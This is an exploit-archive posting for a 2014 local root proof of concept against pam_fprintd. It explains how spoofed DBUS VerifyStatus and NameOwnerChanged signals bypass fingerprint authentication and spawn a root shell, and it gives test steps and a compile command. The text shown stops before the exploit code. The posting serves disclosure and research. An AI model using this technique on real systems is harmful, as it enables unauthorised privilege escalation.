Darklena fprintd/pam_fprintd Local Root

Darklena fprintd/pam_fprintd Local Root
Posted May 30, 2014
Authored by Sebastian Krahmer

pam_fprintd local root proof of concept exploit that spawns a shell. pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and registers DBUS signal inside the PAM authentication function. Then, when the DBUS signal arrives, the signal argument is basically just checked to be the "verify-match" string; which however is expected to come from the legit net.reactivated.Fprint service. Since there is no message filter registered in either pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed by anyone.

/* darklena. fprintd/pam_fprintd local root PoC. However dbus-glib plays an important role.
*
* (C) 2013 Sebastian Krahmer, all rights reversed.
*
* pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and
* registers DBUS signal inside the PAM authentication function:
*
* dbus_g_proxy_add_signal(dev, "VerifyStatus", G_TYPE_STRING, G_TYPE_BOOLEAN, NULL);
* dbus_g_proxy_add_signal(dev, "VerifyFingerSelected", G_TYPE_STRING, NULL);
* dbus_g_proxy_connect_signal(dev, "VerifyStatus", G_CALLBACK(verify_result),
* data, NULL);
*
* Then, when the DBUS signal arrives, the signal argument is basically just checked
* to be the "verify-match" string; which however is expected to come from the legit
* net.reactivated.Fprint service. Since there is no message filter registered in either
* pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed
* by anyone. In order to do so, we first need to spoof a NameOwnerChanged signal
* so the dbus_g_proxy_manager_filter() function inside dbus-glib will find our
* sender-name (which cannot be spoofed) inside its hash tables and match it to
* net.reactivated.Fprint.
*
* To test this PoC, start a service (su is fine) as user that is using pam_fprintd.
* On a second xterm, when you see 'Swipe your ... finger' message start this PoC
* and you will notice that a rootshell is spawned in the first xterm w/o giving your finger. :p
*
* Used various DBUS tutorials and example code, while writing this.
*
* $ cc darklena.c `pkg-config --cflags dbus-1` -ldbus-1 -Wall
